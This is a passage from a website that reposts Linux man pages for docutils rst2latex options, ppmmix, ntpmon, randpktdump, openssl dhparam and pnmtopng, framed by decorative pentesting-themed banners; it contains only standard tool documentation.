Remove all elements with classes="<class>" from the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–strip-class=*****<class>*
Remove all classes="<class>" attributes from elements in the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–report=<level>, -r* <level>*
Report system messages at or higher than <level>: “info” or “1”, “warning”/“2” (default), “error”/“3”, “severe”/“4”, “none”/“5”

–verbose, -v
Report all system messages. (Same as “–report=1”.)

–quiet, -q
Report no system messages. (Same as “–report=5”.)

–halt=*****<level>*
Halt execution at system messages at or above <level>. Levels as in –report. Default: 4 (severe).

–strict
Halt at the slightest problem. Same as “–halt=info”.

–exit-status=*****<level>*
Enable a non-zero exit status for non-halting system messages at or above <level>. Default: 5 (disabled).

–debug
Enable debug-level system messages and diagnostics.

–no-debug
Disable debug output. (default)

–warnings=*****<file>*
Send the output of system messages to <file>.

–traceback
Enable Python tracebacks when Docutils is halted.

–no-traceback
Disable Python tracebacks. (default)

–input-encoding=<name[:handler]>, -i* <name[:handler]>*
Specify the encoding and optionally the error handler of input text. Default: <auto-detect>:strict.

–input-encoding-error-handler=****INPUT_ENCODING_ERROR_HANDLER
Specify the error handler for undecodable characters. Choices: “strict” (default), “ignore”, and “replace”.

–output-encoding=<name[:handler]>, -o* <name[:handler]>*
Specify the text encoding and optionally the error handler for output. Default: utf-8:strict.

–output-encoding-error-handler=****OUTPUT_ENCODING_ERROR_HANDLER
Specify error handler for unencodable output characters; “strict” (default), “ignore”, “replace”, “xmlcharrefreplace”, “backslashreplace”.

–error-encoding=<name[:handler]>, -e* <name[:handler]>*
Specify text encoding and optionally error handler for error output. Default text encoding: system encoding. Default error handler: backslashreplace.

–error-encoding-error-handler=****ERROR_ENCODING_ERROR_HANDLER
Specify the error handler for unencodable characters in error output. Default: backslashreplace.

–language=<name>, -l* <name>*
Specify the language (as BCP 47 language tag). Default: en.

–record-dependencies=*****<file>*
Write output file dependencies to <file>.

–config=*****<file>*
Read configuration settings from <file>, if it exists.

–version,** -V**
Show this program’s version number and exit.

–help,** -h**
Show this help message and exit.

Generic Parser Options

–no-file-insertion
Disable directives that insert the contents of an external file; replaced with a “warning” system message.

–file-insertion-enabled
Enable directives that insert the contents of an external file. (default)

–no-raw
Disable the “raw” directive; replaced with a “warning” system message.

–raw-enabled
Enable the “raw” directive. (default)

–line-length-limit=*****<length>*
Maximal number of characters in an input line. Default 10 000.

reStructuredText Parser Options

–pep-references
Recognize and link to standalone PEP references (like “PEP 258”).

–pep-base-url=*****<URL>*
Base URL for PEP references (default " <https://peps.python.org/> “).

–pep-file-url-template=*****<URL>*
Template for PEP file part of URL. (default “pep-%04d”)

–rfc-references
Recognize and link to standalone RFC references (like “RFC 822”).

–rfc-base-url=*****<URL>*
Base URL for RFC references (default " <https://tools.ietf.org/html/> “).

–tab-width=*****<width>*
Set number of spaces for tab expansion (default 8).

–trim-footnote-reference-space
Remove spaces before footnote references.

–leave-footnote-reference-space
Leave spaces before footnote references.

–syntax-highlight=*****<format>*
Token name set for parsing code with Pygments: one of “long”, “short”, or “none” (no parsing). Default is “long”.

–smart-quotes=*****<yes/no/alt>*
Change straight quotation marks to typographic form: one of “yes”, “no”, “alt[ernative]” (default “no”).

–smartquotes-locales=*****<language:quotes[,language:quotes,…]>*
Characters to use as “smart quotes” for <language>.

–word-level-inline-markup
Inline markup recognized at word boundaries only (adjacent to punctuation or whitespace). Force character-level inline markup recognition with "” (backslash + space). Default.

–character-level-inline-markup
Inline markup recognized anywhere, regardless of surrounding characters. Backslash-escapes must be used to avoid unwanted markup recognition. Useful for East Asian languages. Experimental.

Standalone Reader Options

–no-doc-title
Disable the promotion of a lone top-level section title to document title (and subsequent section title to document subtitle promotion; enabled by default).

–no-doc-info
Disable the bibliographic field list transform (enabled by default).

–section-subtitles
Activate the promotion of lone subsection titles to section subtitles (disabled by default).

–no-section-subtitles
Deactivate the promotion of lone subsection titles.

LaTeX-Specific Options

–documentclass=****DOCUMENTCLASS
Specify LaTeX documentclass. Default: “article”.

–documentoptions=****DOCUMENTOPTIONS
Specify document options. Multiple options can be given, separated by commas. Default: “a4paper”.

–footnote-references=*****<format>*
Format for footnote references: one of “superscript” or “brackets”. Default: “superscript”.

–use-latex-citations
Use cite command for citations. (future default)

–figure-citations
Use figure floats for citations (might get mixed with real figures). (provisional default)

–attribution=*****<format>*
Format for block quote attributions: one of “dash” (em-dash prefix), “parentheses”/“parens”, or “none”. Default: “dash”.

–stylesheet=*****<file[,file,…]>*
Specify LaTeX packages/stylesheets. A style is referenced with “usepackage” if extension is “.sty” or omitted and with “input” else. Overrides previous –stylesheet and –stylesheet-path settings.

–stylesheet-path=*****<file[,file,…]>*
Comma separated list of LaTeX packages/stylesheets. Relative paths are expanded if a matching file is found in the –stylesheet-dirs. With –link- stylesheet, the path is rewritten relative to the output

*

.tex file.

System Message: WARNING/2 (debian/tmp/man/rst2latex.txt:, line 190)
Inline emphasis start-string without end-string.

–link-stylesheet
Link to the stylesheet(s) in the output file. (default)

–embed-stylesheet
Embed the stylesheet(s) in the output file. Stylesheets must be accessible during processing.

–stylesheet-dirs=*****<dir[,dir,…]>*
Comma-separated list of directories where stylesheets are found. Used by –stylesheet-path when expanding relative path arguments. Default: “.”.

–latex-preamble=****LATEX_PREAMBLE
Customization by LaTeX code in the preamble. Default: select PDF standard fonts (Times, Helvetica, Courier).

–template=*****<file>*
Specify the template file. Default: “default.tex”.

–use-latex-toc
Table of contents by LaTeX. (default)

–use-docutils-toc
Table of contents by Docutils (without page numbers).

–use-part-section
Add parts on top of the section hierarchy.

–use-docutils-docinfo
Attach author and date to the document info table. (default)

–use-latex-docinfo
Attach author and date to the document title.

–topic-abstract
Typeset abstract as topic. (default)

–use-latex-abstract
Use LaTeX abstract environment for the document’s abstract.

–hyperlink-color=****HYPERLINK_COLOR
Color of any hyperlinks embedded in text. Default: “blue” (use “false” to disable).

–hyperref-options=****HYPERREF_OPTIONS
Additional options to the “hyperref” package.

–compound-enumerators
Enable compound enumerators for nested enumerated lists (e.g. “1.2.a.ii”).

–no-compound-enumerators
Disable compound enumerators for nested enumerated lists. (default)

–section-prefix-for-enumerators
Enable section (”." subsection …) prefixes for compound enumerators. This has no effect without –compound-enumerators.

–no-section-prefix-for-enumerators
Disable section prefixes for compound enumerators. (default)

–section-enumerator-separator=*****<char>*
Set the separator between section number and enumerator for compound enumerated lists. Default: “-”.

–literal-block-env=****LITERAL_BLOCK_ENV
When possible, use the specified environment for literal-blocks. Default: "" (fall back to “alltt”).

–use-verbatim-when-possible
Deprecated alias for “–literal-block-env=verbatim”.

–table-style=*****<format>*
Table style. “standard” with horizontal and vertical lines, “booktabs” (LaTeX booktabs style) only horizontal lines above and below the table and below the header, or “borderless”. Default: “standard”

–graphicx-option=****GRAPHICX_OPTION
LaTeX graphicx package option. Possible values are “dvipdfmx”, “dvips”, “dvisvgm”, “luatex”, “pdftex”, and “xetex”.Default: “”.

–font-encoding=****FONT_ENCODING
LaTeX font encoding. Possible values are “”, “T1” (default), “OT1”, “LGR,T1” or any other combination of options to the fontenc package.

–reference-label=****REFERENCE_LABEL
Per default the latex-writer puts the reference title into hyperreferences. Specify “ref*” or “pageref*” to get the section number or the page number.

–use-bibtex=*****<style,bibfile[,bibfile,…]>*
Specify style and database(s) for bibtex, for example “–use-bibtex=unsrt,mydb1,mydb2”. Provisional!

–legacy-class-functions
Use legacy functions with class value list for DUtitle and DUadmonition.

–new-class-functions
Use DUrole and “DUclass” wrappers for class values. Place admonition content in an environment. (default)

–legacy-column-widths
Use legacy algorithm to determine table column widths. (provisional default)

–new-column-widths
Use new algorithm to determine table column widths. (future default)

–docutils-footnotes
Footnotes with numbers/symbols by Docutils. (default) (The alternative, –latex-footnotes, is not implemented yet.)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1390 - Linux cli command ppmmix

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmmix and provides detailed information about the command ppmmix, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmmix.

.

NAME 🖥️ ppmmix 🖥️

blend together two PPM images

SYNOPSIS

ppmmix fadefactor ppmfile1 ppmfile2

DESCRIPTION

This program is part of Netpbm(1) .

ppmmix reads two PPM images as input and mixes them together using the specified fade factor. The fade factor may be in the range from 0.0 (only ppmfile1’s image data) to 1.0 (only ppmfile2’s image data). Anything in between specifies a smooth blend between the two images.

The two images must have the same dimensions and the same maxval. Before Netpbm 10.54 (March 2011), they must also have the same type (PBM/PGM/PPM).

The fade factor is applied to brightness, not light intensity. That means for example that if you have a series of images you generated using ppmmix of a black and a white image with a linearly increasing fade factor, you will see an image getting linearly brighter, but the light intensity will increase faster at the end. That is because it requires more intensity change at the bright end of the scale than at the dark end for the human eye to perceive the same brightness change. This also means that if the original images aren’t all one color, the mixed image is distorted, since the intensity relationship between pixels is different from the original image.

pamcomp is a more general alternative. It allows you to mix images of different size and to have the fade factor vary throughout the image (through the use of a transparency mask). It does not have the same-maxval and same-type restrictions. It mixes light intensity, not brightness.

OPTIONS

There are no command line options defined specifically for ppmmix, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pamcomp(1) , pammixmulti(1) , ppm(1)

AUTHOR

Copyright (C) 1993 by Frank Neumann

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmmix.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1391 - Linux cli command ntpmon

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ntpmon and provides detailed information about the command ntpmon, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ntpmon.

NAME 🖥️ ntpmon 🖥️

real-time NTP status monitor

SYNOPSIS

ntpmon [-dhnuV] [-D lvl] [-l logfile] [host]

DESCRIPTION

This program is a real-time status monitor for NTP. It presents the same information as the peers, mrulist, rv, and cv commands of ntpq(1), but using a split-window display that also includes a status summary bar, and updates at intervals guaranteed to show status changes almost as soon as they occur.

(Specifically, the display begins updating once per second and adjusts itself to poll at twice the frequency of the shortest polling interval reported in the last peers response.)

The status bar includes the version string of the server being watched, the (local) time at which it was last updated, and the current query interval in parens following the date.

There is a detail-display mode that dumps full information about a single selected peer in a tabular format that makes it relatively easy to see changing values. However, note that a default-sized terminal emulator window (usually 25 lines) doesn’t have enough room for the clock variables portion. The only fix for this is to resize your terminal.

^C cleanly terminates the program. Any keystroke will trigger a poll and update. A few single-keystroke commands are also interpreted as commands.

If no hostname is specified on the command line, localhost is monitored.

Here’s a breakdown of the peers display in the top window:

VariableDescription
tally

single-character code indicating current value of the select field of the

remotehost name (or IP address) of server
refid

association ID or

ststratum
tu: server (u for unicast), l: local (reference clock), p: Pool name, 1-8 NTS server with this number of cookies stored.
whensec/min/hr since last received packet
pollpoll interval (log2 s)
reachreach shift register (octal)
delayroundtrip delay
offsetoffset of server relative to this host
jitterjitter

The t column has strange encodings due to historical use by old code. If you are looking at an old server, you might also see: s: symmetric (peer), server, B: broadcast server,

The tally code is one of the following:

CodeDescription
discarded as not valid
xdiscarded by intersection algorithm
.discarded by table overflow (not used)
-discarded by the cluster algorithm
+included by the combine algorithm
#backup (more than tos maxclock sources)
*system peer
oPPS peer (when the prefer peer is valid)

And the MRU list in the bottom window:

ColumnDescription
lstintInterval in s between the receipt of the most recent packet from this address and the completion of the retrieval of the MRU list by ntpq.
avgintAverage interval in s between packets from this address.
rstrRestriction flags associated with this address. Most are copied unchanged from the matching restrict command, however 0x400 (kod) and 0x20 (limited) flags are cleared unless the last packet from this address triggered a rate control response.
rRate control indicator, either a period, L or K for no rate control response, rate limiting by discarding, or rate limiting with a KoD response, respectively.
mPacket mode.
vPacket version number.
countPackets received from this address.
scorePackets per second (averaged with exponential decay).
dropPackets dropped (or KoDed) from this address.
rportSource port of last packet from this address.
remote addressDNS name, numeric address, or address followed by claimed DNS name which could not be verified in parentheses.

The refid field is as described under “Event Messages and Status Words” in the NTP documentation on the Web.

COMMANDS

a

Change peer display to apeers mode, showing association IDs.

d

Toggle detail mode (some peer will be reverse-video highlighted when on).

h

Display help screen

j

Select next peer (in select mode); arrow down also works.

k

Select previous peer (in select mode); arrow up also works.

m

Toggle MRUlist-only mode; suppresses peer display when on.

n

Toggle display of hostnames vs. IP addresses vs ntpd supplied names plus IP addresses or ntpd supplied names and hostnames (default is hostnames).

o

Change peer display to opeers mode, showing destination address.

p

Change peer display to default mode, showing refid.

q

Cleanly terminate the program.

r

Change to dextral mode, identical to p save that the refid, tally \ and remote clock are on the right.

s

Toggle display of only reachable hosts (default is all hosts).

u

Toggle display of units for time values. (default is off)

w

Toggle wide mode.

x

Cleanly terminate the program.

<space>

Rotate through a/n/o/p display modes.

+

Increase debugging level. Output goes to ntpmon.log

-

Decrease debugging level.

?

Display help screen

OPTIONS

-d

Increase output debug message level

·

may appear multiple times

-D

Set the output debug message level

·

may appear multiple times

-h

Print a usage message.

-l

Logs debug messages to the provided filename

-n

Show IP addresses (vs. hostnames)

-s, –srcname

Show srchost first then names and numbers

-S, –srcnumber

Show srchost first then numbers

-u

Show units

-V

Display version and exit.

KNOWN BUGS

When run in a terminal that does not allow UTF-8 ntpmon will downgrade its unit display to a non-unicode version. ntpmon has to interact with the curses and locale libraries, which prevents it from forcing the use of UTF-8.

When querying a version of ntpd older than NTPsec 0.9.6, ntpmon will appear to hang when monitoring hosts with extremely long MRU lists - in particular, public pool hosts. Correct behavior requires a Mode 6 protocol extension not yet present in those versions.

Even with this extension, monitoring a sufficiently high-traffic server sometimes fails.

When using the -u option, very old xterms may fail to render μ correctly. If this happens, be sure your xterm is started with the -u8 option, or the utf8 resource, and that your console font contains the UTF-8 μ character. Also confirm your LANG environment variable is set to a UTF-8 language, like this: “export LANG=en_US.utf8”.

Timestamp interpretation in this program is likely to fail in flaky ways if the local system clock has not already been approximately synchronized to UTC. Querying a server based in a different NTP era than the current one is especially likely to fail.

This program will behave in apparently buggy and only semi-predictable ways when fetching MRU lists from any server with sufficiently high traffic.

The problem is fundamental. The Mode 6 protocol can’t ship (and your client cannot accept) MRU records as fast as the daemon accepts incoming traffic. Under these circumstances, the daemon will repeatedly fail to ship an entire report, leading to long hangs as your client repeatedly re-sends the request. Eventually the Mode 6 client library will throw an error indicating that a maximum number of restarts has been exceeded.

To avoid this problem, avoid monitoring over links that don’t have enough capacity to handle the monitored server’s entire NTP load.

EXIT STATUS

Always returns 0.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1392 - Linux cli command randpktdump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command randpktdump and provides detailed information about the command randpktdump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the randpktdump.

NAME 🖥️ randpktdump 🖥️

Provide an interface to generate random captures using randpkt

SYNOPSIS

randpktdump–help ] [ –version ] [ –extcap-interfaces ] [ –extcap-dlts ] [ –extcap-interface=<interface> ] [ –extcap-config ] [ –capture ] [ –fifo=<path to file or pipe> ] [ –maxbytes=<bytes> ] [ –count=<num> ] [ –delay=<ms> ] [ –random-type=<true|false> ] [ –all-random=<true|false> ] [ –type=<packet type> ]

DESCRIPTION

randpktdump is a extcap tool that provides access to the random packet generator (randpkt). It is mainly used for testing and educational purpose.

OPTIONS

–help

Print program arguments.

–version

Print program version.

–extcap-interfaces

List available interfaces.

–extcap-interface=<interface>

Use specified interfaces.

–extcap-dlts

List DLTs of specified interface.

–extcap-config

List configuration options of specified interface.

–capture

Start capturing from specified interface save saved it in place specified by –fifo.

–fifo=<path to file or pipe>

Save captured packet to file or send it through pipe.

–maxbytes=<bytes>

Set the max number of bytes per packet.

–count=<num>

Number of packets to generate (-1 for infinite).

–delay=<ms>

Wait a number of milliseconds after writing each packet.

–random-type

Choose a random packet type for all packets if set to true.

–all-random

Choose a different random packet type for each packet if set to true.

–type=<packet type>

Use the selected packet type. To list all the available packet type, run randpktdump –help.

EXAMPLES

To see program arguments:

randpktdump –help

To see program version:

randpktdump –version

To see interfaces:

randpktdump –extcap-interfaces

Example output

interface {value=randpkt}{display=Random packet generator}

To see interface DLTs:

randpktdump –extcap-interface=randpkt –extcap-dlts

Example output

dlt {number=1}{name=randpkt}{display=Ethernet}

To see interface configuration options:

randpktdump –extcap-interface=randpkt –extcap-config

Example output

arg {number=0}{call=–maxbytes}{display=Max bytes in a packet}{type=unsigned}{range=1,5000}{default=5000}{tooltip=The max number of bytes in a packet} arg {number=1}{call=–count}{display=Number of packets}{type=long}{default=1000}{tooltip=Number of packets to generate (-1 for infinite)} arg {number=2}{call=–delay}{display=Packet delay (ms)}{type=long}{default=0}{tooltip=Milliseconds to wait after writing each packet} arg {number=3}{call=–random-type}{display=Random type}{type=boolflag}{default=false}{tooltip=The packets type is randomly chosen} arg {number=4}{call=–all-random}{display=All random packets}{type=boolflag}{default=false}{tooltip=Packet type for each packet is randomly chosen} arg {number=5}{call=–type}{display=Type of packet}{type=selector}{tooltip=Type of packet to generate} value {arg=5}{value=arp}{display=Address Resolution Protocol} […] value {arg=5}{value=usb-linux}{display=Universal Serial Bus with Linux specific header}

To capture:

randpktdump –extcap-interface=randpkt –fifo=/tmp/randpkt.pcapng –capture

Note

To stop capturing CTRL+C/kill/terminate the application.

SEE ALSO

wireshark(1), tshark(1), dumpcap(1), extcap(4), randpkt(1)

NOTES

randpktdump is part of the Wireshark distribution. The latest version of Wireshark can be found at <https://www.wireshark.org>.

HTML versions of the Wireshark project man pages are available at <https://www.wireshark.org/docs/man-pages>.

AUTHORS

Original Author
Dario Lombardo <lomato[AT]gmail.com>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1393 - Linux cli command openssl-dhparamssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-dhparamssl and provides detailed information about the command openssl-dhparamssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-dhparamssl.

NAME 🖥️ openssl-dhparamssl 🖥️

dhparam - DH parameter manipulation and generation

SYNOPSIS

openssl dhparam [-help] [-inform DER|PEM] [-outform DER|PEM] [-in filename] [-out filename] [-dsaparam] [-check] [-noout] [-text] [-verbose] [-quiet] [-2] [-3] [-5] [-engine id] [-rand files] [-writerand file] [-provider name] [-provider-path path] [-propquery propq] [numbits]

DESCRIPTION

This command is used to manipulate DH parameter files.

See “EXAMPLES” in openssl-genpkey (1) for examples on how to generate a key using a named safe prime group without generating intermediate parameters.

OPTIONS

-help
Print out a usage message.

-inform DER|PEM, -outform DER|PEM
The input format and output format; the default is PEM. The object is compatible with the PKCS#3 DHparameter structure. See openssl-format-options (1) for details.

-in filename
This specifies the input filename to read parameters from or standard input if this option is not specified.

-out filename
This specifies the output filename parameters to. Standard output is used if this option is not present. The output filename should not be the same as the input filename.

-dsaparam
If this option is used, DSA rather than DH parameters are read or created; they are converted to DH format. Otherwise, safe primes (such that (p-1)/2 is also prime) will be used for DH parameter generation. DH parameter generation with the -dsaparam option is much faster. Beware that with such DSA-style DH parameters, a fresh DH key should be created for each use to avoid small-subgroup attacks that may be possible otherwise.

-check
Performs numerous checks to see if the supplied parameters are valid and displays a warning if not.

-2, -3, -5
The generator to use, either 2, 3 or 5. If present then the input file is ignored and parameters are generated instead. If not present but numbits is present, parameters are generated with the default generator 2.

numbits
This option specifies that a parameter set should be generated of size numbits. It must be the last option. If this option is present then the input file is ignored and parameters are generated instead. If this option is not present but a generator (-2, -3 or -5) is present, parameters are generated with a default length of 2048 bits. The minimum length is 512 bits. The maximum length is 10000 bits.

-noout
This option inhibits the output of the encoded version of the parameters.

-text
This option prints out the DH parameters in human readable form.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

-verbose
This option enables the output of progress messages, which is handy when running commands interactively that may take a long time to execute.

-quiet
This option suppresses the output of progress messages, which may be undesirable in batch scripts or pipelines.

NOTES

This command replaces the dh and gendh commands of previous releases.

SEE ALSO

openssl (1), openssl-pkeyparam (1), openssl-dsaparam (1), openssl-genpkey (1).

HISTORY

The -engine option was deprecated in OpenSSL 3.0.

The -C option was removed in OpenSSL 3.0.

COPYRIGHT

Copyright 2000-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1394 - Linux cli command pnmtopng

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtopng and provides detailed information about the command pnmtopng, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtopng.

.

NAME 🖥️ pnmtopng 🖥️

convert a PNM image to PNG

SYNOPSIS

pnmtopng [-verbose] [-downscale] [-interlace] [-alpha=file] [-transparent=[=]color] [-background=color] [-palette=palettefile] [-gamma=value] [-hist] [-text=file] [-ztxt=file] [-rgb=’wx wy rx ry gx gy bx by] [-size=’x y unit] [-srgbintent=intent] [-modtime=’[yy]yy**-mm-dd hh:mm:ss] [-nofilter**] [-sub] [-up] [-avg] [-paeth] [-compression=n] [-comp_mem_level=n] [-comp_strategy={huffman_only|filtered}] [-comp_method=deflated] [-comp_window_bits=n] [-comp_buffer_size=n] [-force] [-libversion] [pnmfile]

OPTION USAGE

Obsolete options:

[-filter n]

Options available only in older versions:

[-chroma wx wy rx ry gx gy bx by] [-phys x y unit] [-time [yy]yy**-mm-dd hh:mm:**ss]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pnmtopng reads a PNM image as input and produces a PNG image as output.

Color component values in PNG files are either eight or sixteen bits wide, so pnmtopng will automatically scale colors to have a maxval of 255 or 65535.

For a grayscale image, pnmtopng produces a PNG bit depth 1, 2, 4, 8 or 16. When the input image has a small maxval, the output PNG image has a correspondingly small bit depth. But in mapping the PNM maxval to the PNG maxval (which is by definition the maximum value that can be represented in the number of bits), a fair amount of distortion happens with these low maxvals. For example, with a PNM maxval of 5 and a PNG maxval of 7, the input sample 2 becomes the output sample 3. The input brightness is 2/5 = .40, while the output brightness is 3/7 = .43. Note that this is not a problem if you view the maxval as a precision, because in .4 and .43 are identical within the precision implied by maxval 5. Indeed, if you convert this PNG back to a maxval 5 PGM, the pixel’s value will again be 2, exactly as it was originally. But if you need precisely the same colors in the output PNG as in the input PNM, make sure your input PNM has a maxval which is a power of two minus one. If you can’t do that, then convert it with pamdepth to something with a large maxval that is a power of two minus one (255 and 65535 are good choices) to minimize the error.

OPTIONS

Note: Option Syntax of Older Versions

pnmtopng changed in Netpbm 10.30 (October 2005) to use the standard Netpbm command line syntax. Before that, you could not use double hyphens to denote an option and could not use an equal sign to separate an option name from its value. And the options had to come before the non-option program arguments.

Furthermore, the options -chroma, -phys, and -time were replaced by -rgb, -size, and -modtime, respectively. The only difference, taking -phys/-size as an example, is that -phys takes multiple program arguments as the option argument, whereas -size takes a single program argument which is composed of multiple words. E.g. the old shell command

   pnmtopng -phys 800 800 0 input.pnm > output.png

is equivalent to the new shell command

   pnmtopng -size "800 800 0" input.pnm > output.png

If you’re writing a program that needs to work with both new and old , have it first try with the new syntax, and if it fails with “unrecognized option,” fall back to the old syntax.

Current Options

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmtopng recognizes the following command line options:

-verbose
This causes pnmtopng to display information about the format of the output file.

-downscale
This enables pnmtopng to scale maxvalues of more then 65535 to 16 bits. Since this means loss of image data, pnmtopng does not do it by default.

-interlace
This causes the PNG file to be interlaced, in Adam7 format. The interlaced format is one in which the raster data starts with a low-resolution representation of the entire image, then continues with additional information for the entire image, then even more information, etc. In Adam7 in particular, there are seven such passes of the whole image. This is useful when you are receiving the image over a slow communication line as someone is waiting to see it. The simplest thing to do in that case is wait for the entire image to arrive and then display it instantly, but then the user is wasting time staring at a blank space until the whole image arrives. With the standard non-interlaced format, the data arrives row-by-row starting at the top, so the displayer could display each row of the image as it arrives and gradually paint down to the bottom. But with an interlaced image, the displayer can start by showing a low-resolution version of the image, then gradually improve the display as more data arrives.

**-alpha=**filename
